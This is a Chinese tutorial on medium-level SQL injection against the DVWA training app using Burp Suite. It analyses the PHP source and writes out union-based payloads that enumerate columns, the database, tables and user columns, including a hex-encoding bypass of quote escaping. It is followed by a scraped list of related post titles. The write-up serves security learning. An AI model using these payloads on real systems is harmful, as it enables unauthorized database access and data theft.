POST注入借助Burpsuite工具

将DVWA Security调到Medium

1,查询User ID为3,点击Submit,先分析一下php源代码

首先我们可知这是POST型,先检查一下User Id 是否为空,如果为空执行下列操作,先赋值id,然后转义在 SQL 语句中使用的字符串中的特殊字符。之后在数据库中查询数据,将结果输出给result,从结果集中取得一行关联数组赋值到row,依次输出first name,sunname。最后关闭函数。因为稍后再index.php page使用,所以我们可以在此处进行设置,以便我们可以像在其余源脚本中一样在此处关闭数据库连接

2.函数分析

(1)mysqli_fetch_row():从结果集中取得一行,并作为枚举数组返回。

(2)mysqli_real_escape_string():转义在 SQL 语句中使用的字符串中的特殊字符。

其余函数在初级文档说明,在此篇不做重复阐述

3.进行实际操作

在bp软件中,当USER ID=3时,出现如下界面,为了方便,我们把他转到Repeater下,点击Action,然后Send to Repeater

在箭头指向部分将id=3改为id=3’,然后点击Go

在id=3’时会出现如下错误,这是因为有转义字符\,单引号失效,需要进行绕过,后续会讲怎样绕过。

sql语句查询列数,在箭头那输入id=3 order by 2后点击Go,出现右面的结果

sql语句查询位置输入id=3 union select 1,2#

sql语句查询数据库名3 union select database(),2#

sql语句查询数据表名3 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

查询user表中列名

(对方使用转义字符屏蔽’ , “等特殊字符,使用绕过方法,可以使用users对应的ascii码进行绕过)id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =’users’#

如何找users的ASCII,在Decoder中的Encode as 下找到ASCII hex就可出下面的

id=3 union select group_concat(column_name),2 from information_schema.columns where table_name =0x7573657273#

获取数据

本文介绍的是中级SQL注入,将持续更新SQL注入高级以及盲注,欢迎大家点赞和收藏,您的支持是我创作的最大动力!

sql 数组_sql注入中级相关推荐

  1. mysql %3c%3e sql优化_SQL注入技术和跨站脚本攻击的检测(2)

    2.3 典型的 SQL 注入攻击的正则表达式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix 解释: \w* - 零个或多个字符或者下划线 ...

  2. java sql数组_Sql数组类型解决方案

    众所周知,Sql里面居然没有数组类型,让大家每次在存储过程或者触发器中处理数组的时候都很麻烦.我也遇到这样的情况,所以就特意写了两个自定函数,以 方便自己今后在Sql中处理数组.入行不久,懂得不多,贴 ...

  3. concat mysql sql注入_sql注入-mysql注入基础及常用注入语句

    最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...

  4. sql 数据库前两列值乘_SQL注入原理和方法汇总

    本文首发于先知社区 前言: SQL注入是web安全中最常见的攻击方式,SQL注入有很多方法,但如果只知道payload,不知道原理,感觉也很难掌握,这次就总结一下我所遇到的SQL注入方法,原理分析+题 ...

  5. sql通用防注入程序php,sql通用防注入系统_PHP教程

    sql通用防注入系统 本文章提供这款防sql注入代码是一款php sql 双过滤非法字符的函数,他可以根据用户自定的防sql注入哦,先是过滤一些sql命令,再是就是把post get 过滤一次,最好验 ...

  6. sql 整改措施 注入_防止SQL注入的五种方法

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

  7. 过滤SQL关键字 防注入

    /// <summary>/// 过滤SQL关键字 防注入/// </summary>/// <param name="sWord">来自用户输 ...

  8. sql显错注入靶机演示

    sql注入漏洞作为web层面最高危的漏洞之一,本文将手动演示sql显错注入的整体流程 注:禁止用于实战 那么开始正文部分,首先打开我们的靶场猫舍 http://cntj8003.ia.aqlab.cn ...

  9. 如何有效避免mysql注入_sql注入方式及如何有效避免

    先来看下这段sql $query = 'SELECT * from user where name =" '.$name.' "'; 这样的sql是我们经常有写的, 然后$name ...

最新文章

  1. GitHub年度报告:JS第一,Python第二,Java第三
  2. 我的KT库之-----扩展方法
  3. python定义词典_python – 自定义类是一个字典,但初始化没有字典副本?
  4. SpringBoot中使用Redis数据库
  5. Java黑皮书课后题第1章:1.5(计算表达式)编写程序,显示以下式子的结果
  6. nginx源码分析之变量
  7. jinja2语法中{%raw%}和{{}}的等效替换
  8. ASP.NET Core文件上传、下载与删除
  9. 戏耍Transaction,多个连接的Transaction处理(非COM+)
  10. mysql入参映射_Mybatis中的Mapper映射Sql中传参类型(如Bean,基本类型,List...)与取值的方式 与foreach的几种用法!!...
  11. java录制pcm文件_AudioRecord录制PCM格式的语音示例
  12. 使用crypt生成用户密码-Tested on RedHat SuSE Platform
  13. 如何将asp.net MVC2项目升级为MVC3项目(微软官方自动升级工具:ASP.NET MVC 3 Application Upgrader )...
  14. Java微信公众号开发之微信公众平台账号申请注册
  15. ClickHouse可视化DBM Release 1.12.0
  16. 银行叫警察抓人?逾期未还后果严重可能成真!
  17. html打开txt文件 乱码怎么解决,txt文件打开显示乱码怎么办?
  18. 用户画像打标签之RFM客户价值分析
  19. CSS里的 no-repeat 是什么意思
  20. Linux最著名的文本编辑器,最优秀的5个Linux文本编辑器

热门文章

  1. storm hook的使用
  2. hadoop关键进程
  3. 【搜索引擎基础知识1】搜索引擎基本架构
  4. Spark读取配置源码剖析
  5. vue项目中阻止浏览器返回上一页
  6. superMap添加marker及连线
  7. jmeter之关联操作
  8. 给iOS 模拟器“安装”app文件
  9. Java中UDP协议的基本原理和简单用法
  10. 猛然发现,已经第100篇随笔了